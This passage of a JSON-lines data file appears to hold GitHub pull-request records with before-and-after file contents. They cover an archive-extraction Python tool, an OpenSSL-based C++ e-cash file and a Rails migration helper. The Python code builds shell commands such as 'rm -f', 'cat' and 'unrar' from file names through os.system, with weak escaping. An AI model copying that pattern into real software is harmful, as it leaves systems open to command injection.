\"\"\"Convert filename for command line\"\"\"\n        return self.escape_filename(self.get_path_filename(filename))\n\n    def remove(self):\n        \"\"\"Remove all files collection\"\"\"\n        return os.system('rm -f %s' % ' '.join(\n            [self.get_command_filename(f) for f in self.files]))\n\n\nclass MedKit(BaseFileCollection):\n    \"\"\"MedKit is collection of par2 files\"\"\"\n\n    def __init__(self, name, path='.', filenames=[]):\n        super(MedKit, self).__init__(name, path, filenames)\n        self.medkits = []\n        self.find_medkits(self.filenames)\n\n    @property\n    def files(self):\n        return self.medkits\n\n    def is_medkit_file(self, filename):\n        \"\"\"Check if the filename is a medkit\"\"\"\n        return bool(filename.startswith(self.name) and\n                    filename.lower().endswith('.par2'))\n\n    def find_medkits(self, filenames=[]):\n        \"\"\"Find files for building the medkit\"\"\"\n        for filename in filenames:\n            if self.is_medkit_file(filename) and filename not in self.medkits:\n                self.medkits.append(filename)\n        self.medkits.sort()\n\n    def check_and_repair(self, silent=False):\n        \"\"\"Check and repair with medkits\"\"\"\n        if self.medkits:\n            options = silent and '-qq' or ''\n            root_medkit = self.get_command_filename(self.medkits[0])\n            extra_kits = '%s*' % self.get_command_filename(self.name)\n            command = 'par2 r %s %s %s' % (options, root_medkit, extra_kits)\n            result = os.system(command)\n            return bool(not result)\n        return False\n\n\nclass Archive(MedKit):\n    \"\"\"Archive is a collection of archive files and a MedKit\"\"\"\n    archive_type = 'undefined'\n    ALLOWED_EXTENSIONS = []\n\n    def __init__(self, name, path='.', filenames=[]):\n        super(Archive, self).__init__(name, path, filenames)\n        self.archives = []\n        self.find_archives(self.filenames)\n\n    @property\n    def files(self):\n        return self.archives + self.medkits\n\n    @classmethod\n    def is_archive_file(cls, filename):\n        \"\"\"Check if the filename is allowed for the Archive\"\"\"\n        for regext in cls.ALLOWED_EXTENSIONS:\n            if regext.search(filename):\n                return regext.split(filename)[0]\n        return False\n\n    def find_archives(self, filenames=[]):\n        \"\"\"Find files for building the archive\"\"\"\n        for filename in filenames:\n            if (filename.startswith(self.name) and\n                self.is_archive_file(filename) and\n                    filename not in self.archives):\n                self.archives.append(filename)\n        self.archives.sort()\n\n    def extract(self, repair=True):\n        \"\"\"Extract the archive and do integrity checking\"\"\"\n        extraction = self._extract()\n\n        if not extraction and repair:\n            if self.check_and_repair():\n                extraction = self._extract()\n\n        return extraction\n\n    def _extract(self):\n        \"\"\"Extract the archive\"\"\"\n        raise NotImplementedError\n\n    def __str__(self):\n        if self.medkits:\n            return '%s (%i %s archives, %i par2 files)' % (\n                self.name, len(self.archives),\n                self.archive_type, len(self.medkits))\n        return '%s (%i %s archives)' % (\n            self.name, len(self.archives), self.archive_type)\n", "easy_extract/archives/hj_split.py": "\"\"\"HJ Split archive format\"\"\"\nimport os\nimport re\n\nfrom easy_extract.archive import Archive\n\nEXTENSIONS = [re.compile('\\.\\d{3}$', re.I)]\n\n\nclass HJSplitArchive(Archive):\n    \"\"\"The HJ Split format\"\"\"\n    archive_type = 'hj-split'\n    ALLOWED_EXTENSIONS = EXTENSIONS\n\n    def _extract(self):\n        new_filename = self.escape_filename(self.name)\n        first_archive = self.get_command_filename(self.archives[0])\n\n        print 'Extracting %s...' % new_filename\n\n        os.system('cat %s > %s' % (first_archive, new_filename))\n\n        for archive in self.archives[1:]:\n            archive = self.get_command_filename(archive)\n            os.system('cat %s >> %s' % (archive, new_filename))\n\n        return True\n\n    def remove(self):\n        pass\n", "easy_extract/archives/media.py": "\"\"\"Media archive file format\"\"\"\nimport os\nimport re\n\nfrom easy_extract.archive import Archive\n\nRAW_EXTENSIONS = ['\\.AVI', '\\.OGG', '\\.OGV',\n                  '\\.MP4', '\\.MPG', '\\.MPEG',\n                  '\\.MKV', '\\.M4V']\n\nEXTENSIONS = [re.compile('%s$' % ext, re.I) for ext in RAW_EXTENSIONS]\n\n\nclass MediaArchive(Archive):\n    \"\"\"The Rar format Archive\"\"\"\n    archive_type = 'media'\n    ALLOWED_EXTENSIONS = EXTENSIONS\n\n    def _extract(self):\n        first_archive = self.get_command_filename(self.archives[0])\n        return not os.system('synoindex -a %s' % first_archive)\n\n    def remove(self):\n        pass\n", "easy_extract/archives/rar.py": "\"\"\"Rar archive format\"\"\"\nimport os\nimport re\n\nfrom easy_extract.archive import Archive\n\nEXTENSIONS = [re.compile('\\.r\\d{2}$', re.I),\n              re.compile('\\.part\\d+\\.rar$', re.I),\n              re.compile('\\.rar$', re.I)]\n\n\nclass RarArchive(Archive):\n    \"\"\"The Rar format Archive\"\"\"\n    archive_type = 'rar'\n    ALLOWED_EXTENSIONS = EXTENSIONS\n\n    def _extract(self):\n        if '%s.rar' % self.name in self.archives:\n            first_archive = self.get_command_filename('%s.rar' % self.name)\n        else:\n            first_archive = self.get_command_filename(self.archives[0])\n\n        return not os.system('unrar e -o+ %s' % first_archive)\n", "easy_extract/archives/seven_zip.py": "\"\"\"7zip archive format\"\"\"\nimport os\nimport re\n\nfrom easy_extract.archive import Archive\n\nRAW_EXTENSIONS = ['\\.ARJ', '\\.CAB', '\\.CHM', '\\.CPIO',\n                  '\\.DMG', '\\.HFS', '\\.LZH', '\\.LZMA',\n                  '\\.NSIS', '\\.UDF', '\\.WIM', '\\.XAR',\n                  '\\.Z', '\\.ZIP', '\\.GZIP', '\\.TAR']\n\nEXTENSIONS = [re.compile('%s$' % ext, re.I) for ext in RAW_EXTENSIONS]\n\n\nclass SevenZipArchive(Archive):\n    \"\"\"The 7z unarchiver is used for many formats\"\"\"\n    archive_type = '7zip'\n    ALLOWED_EXTENSIONS = EXTENSIONS\n\n    def _extract(self):\n        first_archive = self.get_command_filename(self.archives[0])\n        return not os.system('7z e -y %s' % first_archive)\n", "easy_extract/archives/xtm.py": "\"\"\"Xtm archive format\"\"\"\nimport os\nimport re\n\nfrom easy_extract.archive import Archive\n\nEXTENSIONS = [re.compile('\\.\\d{3}\\.xtm$', re.I),\n              re.compile('\\.xtm$', re.I)]\n\n\nclass XtmArchive(Archive):\n    \"\"\"The XTM archive format\"\"\"\n    archive_type = 'xtm'\n    ALLOWED_EXTENSIONS = EXTENSIONS\n\n    def _extract(self):\n        new_filename = self.escape_filename(self.name)\n        first_archive = self.get_command_filename(self.archives[0])\n\n        print 'Extracting %s...' % new_filename\n\n        os.system('dd if=%s skip=1 ibs=104 status=noxfer > %s 2>/dev/null' %\n                  (first_archive, new_filename))\n\n        for archive in self.archives[1:]:\n            archive = self.get_command_filename(archive)\n            os.system('cat %s >> %s' % (archive, new_filename))\n\n        return True\n\n    def remove(self):\n        pass\n"}, "files_after": {"easy_extract/__init__.py": "\"\"\"easy_extract module\"\"\"\n__version__ = '0.1.3'\n__license__ = 'GPL'\n\n__author__ = 'Fantomas42'\n__email__ = 'fantomas42@gmail.com'\n\n__url__ = 'https://github.com/Fantomas42/easy-extract'\n", "easy_extract/archive.py": "\"\"\"Archive collection modules\"\"\"\nimport os\n\nCHAR_TO_ESCAPE = ('(', ')', '*', \"'\", '\"', '&')\n\n\nclass BaseFileCollection(object):\n    \"\"\"Base file collection\"\"\"\n\n    def __init__(self, name, path='.', filenames=[]):\n        self.name = name\n        self.path = path\n        self.filenames = filenames\n\n    @property\n    def files(self):\n        return self.filenames\n\n    def escape_filename(self, filename):\n        \"\"\"Escape a filename\"\"\"\n        for char in CHAR_TO_ESCAPE:\n            filename = filename.replace(char, '\\%s' % char)\n        return filename\n\n    def get_path_filename(self, filename):\n        \"\"\"Concatenate path and filename\"\"\"\n        return os.path.join(self.path, filename)\n\n    def get_command_filename(self, filename):\n        \"\"\"Convert filename for command line\"\"\"\n        return self.escape_filename(self.get_path_filename(filename))\n\n    def remove(self):\n        \"\"\"Remove all files collection\"\"\"\n        return os.system('rm -f %s' % ' '.join(\n            [self.get_command_filename(f) for f in self.files]))\n\n\nclass MedKit(BaseFileCollection):\n    \"\"\"MedKit is collection of par2 files\"\"\"\n\n    def __init__(self, name, path='.', filenames=[]):\n        super(MedKit, self).__init__(name, path, filenames)\n        self.medkits = []\n        self.find_medkits(self.filenames)\n\n    @property\n    def files(self):\n        return self.medkits\n\n    def is_medkit_file(self, filename):\n        \"\"\"Check if the filename is a medkit\"\"\"\n        return bool(filename.startswith(self.name) and\n                    filename.lower().endswith('.par2'))\n\n    def find_medkits(self, filenames=[]):\n        \"\"\"Find files for building the medkit\"\"\"\n        for filename in filenames:\n            if self.is_medkit_file(filename) and filename not in self.medkits:\n                self.medkits.append(filename)\n        self.medkits.sort()\n\n    def check_and_repair(self, silent=False):\n        \"\"\"Check and repair with medkits\"\"\"\n        if self.medkits:\n            options = silent and '-qq' or ''\n            root_medkit = self.get_command_filename(self.medkits[0])\n            extra_kits = '%s*' % self.get_command_filename(self.name)\n            command = 'par2 r %s %s %s' % (options, root_medkit, extra_kits)\n            result = os.system(command)\n            return bool(not result)\n        return False\n\n\nclass Archive(MedKit):\n    \"\"\"Archive is a collection of archive files and a MedKit\"\"\"\n    archive_type = 'undefined'\n    ALLOWED_EXTENSIONS = []\n\n    def __init__(self, name, path='.', filenames=[]):\n        super(Archive, self).__init__(name, path, filenames)\n        self.archives = []\n        self.find_archives(self.filenames)\n\n    @property\n    def files(self):\n        return self.archives + self.medkits\n\n    @classmethod\n    def is_archive_file(cls, filename):\n        \"\"\"Check if the filename is allowed for the Archive\"\"\"\n        for regext in cls.ALLOWED_EXTENSIONS:\n            if regext.search(filename):\n                return regext.split(filename)[0]\n        return False\n\n    def find_archives(self, filenames=[]):\n        \"\"\"Find files for building the archive\"\"\"\n        for filename in filenames:\n            if (filename.startswith(self.name) and\n                self.is_archive_file(filename) and\n                    filename not in self.archives):\n                self.archives.append(filename)\n        self.archives.sort()\n\n    def extract(self, repair=True):\n        \"\"\"Extract the archive and do integrity checking\"\"\"\n        extraction = self._extract()\n\n        if not extraction and repair:\n            if self.check_and_repair():\n                extraction = self._extract()\n\n        return extraction\n\n    def _extract(self):\n        \"\"\"Extract the archive\"\"\"\n        raise NotImplementedError\n\n    def __str__(self):\n        if self.medkits:\n            return '%s (%i %s archives, %i par2 files)' % (\n                self.name, len(self.archives),\n                self.archive_type, len(self.medkits))\n        return '%s (%i %s archives)' % (\n            self.name, len(self.archives), self.archive_type)\n", "easy_extract/archives/hj_split.py": "\"\"\"HJ Split archive format\"\"\"\nimport os\nimport re\n\nfrom easy_extract.archive import Archive\n\nEXTENSIONS = [re.compile('\\.\\d{3}$', re.I)]\n\n\nclass HJSplitArchive(Archive):\n    \"\"\"The HJ Split format\"\"\"\n    archive_type = 'hj-split'\n    ALLOWED_EXTENSIONS = EXTENSIONS\n\n    def _extract(self):\n        new_filename = self.escape_filename(self.name)\n        first_archive = self.get_command_filename(self.archives[0])\n\n        print 'Extracting %s...' % new_filename\n\n        os.system('cat \"%s\" > \"%s\"' % (first_archive, new_filename))\n\n        for archive in self.archives[1:]:\n            archive = self.get_command_filename(archive)\n            os.system('cat \"%s\" >> \"%s\"' % (archive, new_filename))\n\n        return True\n\n    def remove(self):\n        pass\n", "easy_extract/archives/media.py": "\"\"\"Media archive file format\"\"\"\nimport os\nimport re\n\nfrom easy_extract.archive import Archive\n\nRAW_EXTENSIONS = ['\\.AVI', '\\.OGG', '\\.OGV',\n                  '\\.MP4', '\\.MPG', '\\.MPEG',\n                  '\\.MKV', '\\.M4V']\n\nEXTENSIONS = [re.compile('%s$' % ext, re.I) for ext in RAW_EXTENSIONS]\n\n\nclass MediaArchive(Archive):\n    \"\"\"The Rar format Archive\"\"\"\n    archive_type = 'media'\n    ALLOWED_EXTENSIONS = EXTENSIONS\n\n    def _extract(self):\n        first_archive = self.get_command_filename(self.archives[0])\n        return not os.system('synoindex -a \"%s\"' % first_archive)\n\n    def remove(self):\n        pass\n", "easy_extract/archives/rar.py": "\"\"\"Rar archive format\"\"\"\nimport os\nimport re\n\nfrom easy_extract.archive import Archive\n\nEXTENSIONS = [re.compile('\\.r\\d{2}$', re.I),\n              re.compile('\\.part\\d+\\.rar$', re.I),\n              re.compile('\\.rar$', re.I)]\n\n\nclass RarArchive(Archive):\n    \"\"\"The Rar format Archive\"\"\"\n    archive_type = 'rar'\n    ALLOWED_EXTENSIONS = EXTENSIONS\n\n    def _extract(self):\n        if '%s.rar' % self.name in self.archives:\n            first_archive = self.get_command_filename('%s.rar' % self.name)\n        else:\n            first_archive = self.get_command_filename(self.archives[0])\n\n        return not os.system('unrar e -o+ \"%s\"' % first_archive)\n", "easy_extract/archives/seven_zip.py": "\"\"\"7zip archive format\"\"\"\nimport os\nimport re\n\nfrom easy_extract.archive import Archive\n\nRAW_EXTENSIONS = ['\\.ARJ', '\\.CAB', '\\.CHM', '\\.CPIO',\n                  '\\.DMG', '\\.HFS', '\\.LZH', '\\.LZMA',\n                  '\\.NSIS', '\\.UDF', '\\.WIM', '\\.XAR',\n                  '\\.Z', '\\.ZIP', '\\.GZIP', '\\.TAR']\n\nEXTENSIONS = [re.compile('%s$' % ext, re.I) for ext in RAW_EXTENSIONS]\n\n\nclass SevenZipArchive(Archive):\n    \"\"\"The 7z unarchiver is used for many formats\"\"\"\n    archive_type = '7zip'\n    ALLOWED_EXTENSIONS = EXTENSIONS\n\n    def _extract(self):\n        first_archive = self.get_command_filename(self.archives[0])\n        return not os.system('7z e -y \"%s\"' % first_archive)\n", "easy_extract/archives/xtm.py": "\"\"\"Xtm archive format\"\"\"\nimport os\nimport re\n\nfrom easy_extract.archive import Archive\n\nEXTENSIONS = [re.compile('\\.\\d{3}\\.xtm$', re.I),\n              re.compile('\\.xtm$', re.I)]\n\n\nclass XtmArchive(Archive):\n    \"\"\"The XTM archive format\"\"\"\n    archive_type = 'xtm'\n    ALLOWED_EXTENSIONS = EXTENSIONS\n\n    def _extract(self):\n        new_filename = self.escape_filename(self.name)\n        first_archive = self.get_command_filename(self.archives[0])\n\n        print 'Extracting %s...' % new_filename\n\n        os.system('dd if=\"%s\" skip=1 ibs=104 status=noxfer > \"%s\" 2>/dev/null'\n                  % (first_archive, new_filename))\n\n        for archive in self.archives[1:]:\n            archive = self.get_command_filename(archive)\n            os.system('cat \"%s\" >> \"%s\"' % (archive, new_filename))\n\n        return True\n\n    def remove(self):\n        pass\n"}}
{"repo": "benlaurie/lucre", "pr_number": 3, "title": "make include folder and various bug-fixes", "state": "closed", "merged_at": null, "additions": 14, "deletions": 1, "files_changed": ["src/bankimp.cpp"], "files_before": {"src/bankimp.cpp": "#include \"bank.h\"\n#include <openssl/asn1.h>\n\nstatic BIO *dout;\nstatic BIO *mout;\n\nconst char _NL[]=\"\\n\";\n\nvoid SetDumper(BIO *out)\n    {\n    dout=out;\n    if(!mout)\n\tmout=out;\n    }\n\nvoid SetDumper(FILE *f)\n    {\n    BIO *out=BIO_new(BIO_s_file());\n    assert(out);\n    BIO_set_fp(out,f,BIO_NOCLOSE);\n    SetDumper(out);\n    }\n\nvoid SetMonitor(BIO *out)\n    { mout=out; }\n\nvoid SetMonitor(FILE *f)\n    {\n    BIO *out=BIO_new(BIO_s_file());\n    assert(out);\n    BIO_set_fp(out,f,BIO_NOCLOSE);\n    SetMonitor(out);\n    }\n\nBIGNUM *ReadNumber(BIO *in,const char *szTitle)\n    {\n    char szLine[10240];\n    unsigned char aucBN[1024];\n    int nTLen=strlen(szTitle);\n\n    BIO_gets(in,szLine,sizeof szLine-1);\n    if(strncmp(szLine,szTitle,nTLen))\n\t{\n\tfprintf(stderr,\"Got %s, expected %s\\n\",szLine,szTitle);\n\tassert(!\"Unexpected input\");\n\treturn NULL;\n\t}\n    BIGNUM *bn=BN_new();\n\n    int n=strcspn(szLine+nTLen,\"\\r\\n\");\n    szLine[nTLen+n]='\\0';\n    if(n&1)\n\t{\n\tmemmove(szLine+nTLen+1,szLine+nTLen,n+1);\n\tszLine[nTLen]='0';\n\t}\n\n    for(n=0 ; szLine[nTLen+n*2] ; ++n)\n\t{\n\tint h;\n\n\tsscanf(&szLine[nTLen+n*2],\"%02x\",&h);\n\taucBN[n]=(unsigned char)h;\n\t}\n\t\n    BN_bin2bn(aucBN,n,bn);\n\n    return bn;\n    }\n\nvoid DumpNumber(BIO *out,const char *szTitle,const BIGNUM *bn,\n\t\tconst char *szTrailer)\n    {\n    if(!out)\n\treturn;\n    BIO_puts(out,szTitle);\n    if(!bn)\n\tBIO_puts(out,\"(null)\");\n    else\n\tBN_print(out,bn);\n    BIO_puts(out,szTrailer);\n    }\n\nvoid DumpNumber(const char *szTitle,const BIGNUM *bn,const char *szTrailer)\n    { DumpNumber(dout,szTitle,bn,szTrailer); }\n\nvoid HexDump(BIO *out,const char *szTitle,const unsigned char *acBuf,\n\t     int nLength)\n    {\n    if(!out)\n\treturn;\n    BIO_puts(out,szTitle);\n    for(int n=0 ; n < nLength ; ++n)\n\t{\n\tchar buf[3];\n\tsprintf(buf,\"%02X\",acBuf[n]);\n\tBIO_puts(out,buf);\n\t}\n    BIO_puts(out,\"\\n\");\n    }\n\nvoid HexDump(const char *szTitle,const unsigned char *acBuf,int nLength)\n    { HexDump(dout,szTitle,acBuf,nLength); }\n\nPublicBank::PublicBank(Bank &bank)\n    {\n    m_pDH=DH_new();\n    m_pDH->g=BN_dup(bank.g());\n    m_pDH->p=BN_dup(bank.p());\n    m_pDH->pub_key=BN_dup(bank.pub_key());\n    }\n\nvoid Bank::cb(int n, int, void */*arg*/)\n    {\n    if(!mout)\n\treturn;\n\n    char c='*';\n\n    if (n == 0) c='.';\n    if (n == 1) c='+';\n    if (n == 2) c='*';\n    if (n == 3) c='\\n';\n    BIO_write(mout,&c,1);\n    BIO_flush(mout);\n    }\n\n/*const*/ BIGNUM *Bank::SignRequest(PublicCoinRequest &req)\n    {\n    InitCTX();\n\n    BIGNUM *BtoA=BN_new();\n    BN_mod_exp(BtoA,req.Request(),priv_key(),p(),m_ctx);\n    DumpNumber(\"B->A=     \",BtoA);\n\n    return BtoA;\n    }\n\nboolean Bank::Verify(Coin &coin)\n    {\n    InitCTX();\n\n    BIGNUM *t=BN_new();\n    if(!coin.GenerateCoinNumber(t,*this))\n\treturn false;\n    BN_mod_exp(t,t,priv_key(),p(),m_ctx);\n    DumpNumber(\"y^k=      \",t);\n\n    BN_sub(t,t,coin.Signature());\n    boolean bRet=BN_is_zero(t);\n\n    BN_free(t);\n\n    return bRet;\n    }\n\nvoid Bank::WriteBIO(BIO *bio)\n    {\n    PublicBank::WriteBIO(bio);\n    DumpNumber(bio,\"private=\",priv_key());\n    }\n\nvoid Bank::ReadBIO(BIO *bio)\n    {\n    PublicBank::ReadBIO(bio);\n    m_pDH->priv_key=ReadNumber(bio,\"private=\");\n    }\n\nvoid PublicBank::WriteBIO(BIO *bio)\n    {\n    DumpNumber(bio,\"g=\",g());\n    DumpNumber(bio,\"p=\",p());\n    DumpNumber(bio,\"public=\",pub_key());\n    }\n\nvoid PublicBank::ReadBIO(BIO *bio)\n    {\n    m_pDH=DH_new();\n\n    m_pDH->g=ReadNumber(bio,\"g=\");\n    m_pDH->p=ReadNumber(bio,\"p=\");\n    m_pDH->pub_key=ReadNumber(bio,\"public=\");\n\n    Dump();\n    }\n\nvoid UnsignedCoin::WriteBIO(BIO *bio)\n    {\n    DumpNumber(bio,\"id=\",m_bnCoinID);\n    }\n\nvoid UnsignedCoin::ReadBIO(BIO *bio)\n    {\n    m_bnCoinID=ReadNumber(bio,\"id=\");\n    }\n\nvoid Coin::WriteBIO(BIO *bio)\n    {\n    UnsignedCoin::WriteBIO(bio);\n    DumpNumber(bio,\"signature=\",m_bnCoinSignature);\n    }\n\nvoid Coin::ReadBIO(BIO *bio)\n    {\n    UnsignedCoin::ReadBIO(bio);\n    m_bnCoinSignature=ReadNumber(bio,\"signature=\");\n    Dump();\n    }\n\nvoid PublicCoinRequest::WriteBIO(BIO *bio)\n    {\n    DumpNumber(bio,\"request=\",m_bnCoinRequest);\n    }\n\nvoid PublicCoinRequest::ReadBIO(BIO *bio)\n    {\n    m_bnCoinRequest=ReadNumber(bio,\"request=\");\n    }\n\nvoid CoinRequest::WriteBIO(BIO *bio)\n    {\n    PublicCoinRequest::WriteBIO(bio);\n    m_coin.WriteBIO(bio);\n    DumpNumber(bio,\"blinding=\",m_bnBlindingFactor);\n    }\n\nvoid CoinRequest::ReadBIO(BIO *bio)\n    {\n    PublicCoinRequest::ReadBIO(bio);\n    m_coin.ReadBIO(bio);\n    m_bnBlindingFactor=ReadNumber(bio,\"blinding=\");\n\n    Dump();\n    }\n\n"}, "files_after": {"src/bankimp.cpp": "\n#ifdef __APPLE__\n#pragma GCC diagnostic ignored \"-Wdeprecated-declarations\"\n#endif\n\n#include \"bank.h\"\n#include <openssl/asn1.h>\n\n#ifdef _WIN32\n#include <string.h>\n#endif\n\nstatic BIO *dout;\nstatic BIO *mout;\n\nconst char _NL[]=\"\\n\";\n\nvoid SetDumper(BIO *out)\n    {\n    dout=out;\n    if(!mout)\n\tmout=out;\n    }\n\nvoid SetDumper(FILE *f)\n    {\n    BIO *out=BIO_new(BIO_s_file());\n    assert(out);\n    BIO_set_fp(out,f,BIO_NOCLOSE);\n    SetDumper(out);\n    }\n\nvoid SetMonitor(BIO *out)\n    { mout=out; }\n\nvoid SetMonitor(FILE *f)\n    {\n    BIO *out=BIO_new(BIO_s_file());\n    assert(out);\n    BIO_set_fp(out,f,BIO_NOCLOSE);\n    SetMonitor(out);\n    }\n\nBIGNUM *ReadNumber(BIO *in,const char *szTitle)\n    {\n    char szLine[10240];\n    unsigned char aucBN[1024];\n    int nTLen=strlen(szTitle);\n\n    BIO_gets(in,szLine,sizeof szLine-1);\n    if(strncmp(szLine,szTitle,nTLen))\n\t{\n\tfprintf(stderr,\"Got %s, expected %s\\n\",szLine,szTitle);\n\tassert(!\"Unexpected input\");\n\treturn NULL;\n\t}\n    BIGNUM *bn=BN_new();\n\n    int n=strcspn(szLine+nTLen,\"\\r\\n\");\n    szLine[nTLen+n]='\\0';\n    if(n&1)\n\t{\n\tmemmove(szLine+nTLen+1,szLine+nTLen,n+1);\n\tszLine[nTLen]='0';\n\t}\n\n    for(n=0 ; szLine[nTLen+n*2] ; ++n)\n\t{\n\tint h;\n\n\tsscanf(&szLine[nTLen+n*2],\"%02x\",&h);\n\taucBN[n]=(unsigned char)h;\n\t}\n\t\n    BN_bin2bn(aucBN,n,bn);\n\n    return bn;\n    }\n\nvoid DumpNumber(BIO *out,const char *szTitle,const BIGNUM *bn,\n\t\tconst char *szTrailer)\n    {\n    if(!out)\n\treturn;\n    BIO_puts(out,szTitle);\n    if(!bn)\n\tBIO_puts(out,\"(null)\");\n    else\n\tBN_print(out,bn);\n    BIO_puts(out,szTrailer);\n    }\n\nvoid DumpNumber(const char *szTitle,const BIGNUM *bn,const char *szTrailer)\n    { DumpNumber(dout,szTitle,bn,szTrailer); }\n\nvoid HexDump(BIO *out,const char *szTitle,const unsigned char *acBuf,\n\t     int nLength)\n    {\n    if(!out)\n\treturn;\n    BIO_puts(out,szTitle);\n    for(int n=0 ; n < nLength ; ++n)\n\t{\n\tchar buf[3];\n\tsprintf(buf,\"%02X\",acBuf[n]);\n\tBIO_puts(out,buf);\n\t}\n    BIO_puts(out,\"\\n\");\n    }\n\nvoid HexDump(const char *szTitle,const unsigned char *acBuf,int nLength)\n    { HexDump(dout,szTitle,acBuf,nLength); }\n\nPublicBank::PublicBank(Bank &bank)\n    {\n    m_pDH=DH_new();\n    m_pDH->g=BN_dup(bank.g());\n    m_pDH->p=BN_dup(bank.p());\n    m_pDH->pub_key=BN_dup(bank.pub_key());\n    }\n\nvoid Bank::cb(int n, int, void * /*arg*/)\n    {\n    if(!mout)\n\treturn;\n\n    char c='*';\n\n    if (n == 0) c='.';\n    if (n == 1) c='+';\n    if (n == 2) c='*';\n    if (n == 3) c='\\n';\n    BIO_write(mout,&c,1);\n    BIO_flush(mout);\n    }\n\n/*const*/ BIGNUM *Bank::SignRequest(PublicCoinRequest &req)\n    {\n    InitCTX();\n\n    BIGNUM *BtoA=BN_new();\n    BN_mod_exp(BtoA,req.Request(),priv_key(),p(),m_ctx);\n    DumpNumber(\"B->A=     \",BtoA);\n\n    return BtoA;\n    }\n\nboolean Bank::Verify(Coin &coin)\n    {\n    InitCTX();\n\n    BIGNUM *t=BN_new();\n    if(!coin.GenerateCoinNumber(t,*this))\n\treturn false;\n    BN_mod_exp(t,t,priv_key(),p(),m_ctx);\n    DumpNumber(\"y^k=      \",t);\n\n    BN_sub(t,t,coin.Signature());\n    boolean bRet=BN_is_zero(t);\n\n    BN_free(t);\n\n    return bRet;\n    }\n\nvoid Bank::WriteBIO(BIO *bio)\n    {\n    PublicBank::WriteBIO(bio);\n    DumpNumber(bio,\"private=\",priv_key());\n    }\n\nvoid Bank::ReadBIO(BIO *bio)\n    {\n    PublicBank::ReadBIO(bio);\n    m_pDH->priv_key=ReadNumber(bio,\"private=\");\n    }\n\nvoid PublicBank::WriteBIO(BIO *bio)\n    {\n    DumpNumber(bio,\"g=\",g());\n    DumpNumber(bio,\"p=\",p());\n    DumpNumber(bio,\"public=\",pub_key());\n    }\n\nvoid PublicBank::ReadBIO(BIO *bio)\n    {\n    m_pDH=DH_new();\n\n    m_pDH->g=ReadNumber(bio,\"g=\");\n    m_pDH->p=ReadNumber(bio,\"p=\");\n    m_pDH->pub_key=ReadNumber(bio,\"public=\");\n\n    Dump();\n    }\n\nvoid UnsignedCoin::WriteBIO(BIO *bio)\n    {\n    DumpNumber(bio,\"id=\",m_bnCoinID);\n    }\n\nvoid UnsignedCoin::ReadBIO(BIO *bio)\n    {\n    m_bnCoinID=ReadNumber(bio,\"id=\");\n    }\n\nvoid Coin::WriteBIO(BIO *bio)\n    {\n    UnsignedCoin::WriteBIO(bio);\n    DumpNumber(bio,\"signature=\",m_bnCoinSignature);\n    }\n\nvoid Coin::ReadBIO(BIO *bio)\n    {\n    UnsignedCoin::ReadBIO(bio);\n    m_bnCoinSignature=ReadNumber(bio,\"signature=\");\n    Dump();\n    }\n\nvoid PublicCoinRequest::WriteBIO(BIO *bio)\n    {\n    DumpNumber(bio,\"request=\",m_bnCoinRequest);\n    }\n\nvoid PublicCoinRequest::ReadBIO(BIO *bio)\n    {\n    m_bnCoinRequest=ReadNumber(bio,\"request=\");\n    }\n\nvoid CoinRequest::WriteBIO(BIO *bio)\n    {\n    PublicCoinRequest::WriteBIO(bio);\n    m_coin.WriteBIO(bio);\n    DumpNumber(bio,\"blinding=\",m_bnBlindingFactor);\n    }\n\nvoid CoinRequest::ReadBIO(BIO *bio)\n    {\n    PublicCoinRequest::ReadBIO(bio);\n    m_coin.ReadBIO(bio);\n    m_bnBlindingFactor=ReadNumber(bio,\"blinding=\");\n\n    Dump();\n    }\n\n"}}
{"repo": "xxx/acts_as_archive", "pr_number": 3, "title": "adding fix to return the correct datetimestamp for rails generator", "state": "closed", "merged_at": "2014-09-01T22:45:52Z", "additions": 5, "deletions": 4, "files_changed": ["lib/acts_as_archive/migration.rb"], "files_before": {"lib/acts_as_archive/migration.rb": "module ActsAsArchive\n  module Migration\n    \n    def self.included(base)\n      unless base.included_modules.include?(InstanceMethods)\n        base.send :extend, ClassMethods\n        base.class_eval do\n          class <<self\n            unless method_defined?(:method_missing_without_archive)\n              alias_method :method_missing_without_archive, :method_missing\n              alias_method :method_missing, :method_missing_with_archive\n            end\n          end\n        end\n      end\n    end\n    \n    module ClassMethods\n      \n      def method_missing_with_archive(method, *arguments, &block)\n        args = Marshal.load(Marshal.dump(arguments))\n        method_missing_without_archive(method, *arguments, &block)\n        supported = [\n          :add_column, :add_timestamps, :change_column,\n          :change_column_default, :change_table,\n          :drop_table, :remove_column, :remove_columns,\n          :remove_timestamps, :rename_column, :rename_table\n        ]\n        if args.include?(:deleted_at) || args.include?('deleted_at')\n          # Don't change the archive's deleted_at column\n          return\n        end\n        if !args.empty? && supported.include?(method)\n          connection = ActiveRecord::Base.connection\n          args[0] = \"archived_\" + ActiveRecord::Migrator.proper_table_name(args[0])\n          if method == :rename_table\n            args[1] = \"archived_\" + args[1].to_s\n          end\n          if connection.table_exists?(args[0])\n            connection.send(method, *args, &block)\n          end\n        end\n      end\n    end\n    \n    module InstanceMethods\n    end\n  end\nend\n"}, "files_after": {"lib/acts_as_archive/migration.rb": "module ActsAsArchive\n  module Migration\n\n    def self.included(base)\n      unless base.included_modules.include?(InstanceMethods)\n        base.send :extend, ClassMethods\n        base.class_eval do\n          class <<self\n            unless method_defined?(:method_missing_without_archive)\n              alias_method :method_missing_without_archive, :method_missing\n              alias_method :method_missing, :method_missing_with_archive\n            end\n          end\n        end\n      end\n    end\n\n    module ClassMethods\n\n      def method_missing_with_archive(method, *arguments, &block)\n        args = Marshal.load(Marshal.dump(arguments))\n        method_missing_without_archive(method, *arguments, &block)\n        supported = [\n          :add_column, :add_timestamps, :change_column,\n          :change_column_default, :change_table,\n          :drop_table, :remove_column, :remove_columns,\n          :remove_timestamps, :rename_column, :rename_table\n        ]\n        if args.include?(:deleted_at) || args.include?('deleted_at')\n          # Don't change the archive's deleted_at column\n          return\n        end\n        if !args.empty? && supported.include?(method)\n          connection = ActiveRecord::Base.connection\n          args[0] = \"archived_\" + ActiveRecord::Migrator.proper_table_name(args[0])\n          if method == :rename_table\n            args[1] = \"archived_\" + args[1].to_s\n          end\n          if connection.table_exists?(args[0])\n            connection.send(method, *args, &block)\n          end\n        end\n        args[0]\n      end\n    end\n\n    module InstanceMethods\n    end\n  end\nend\n"}}
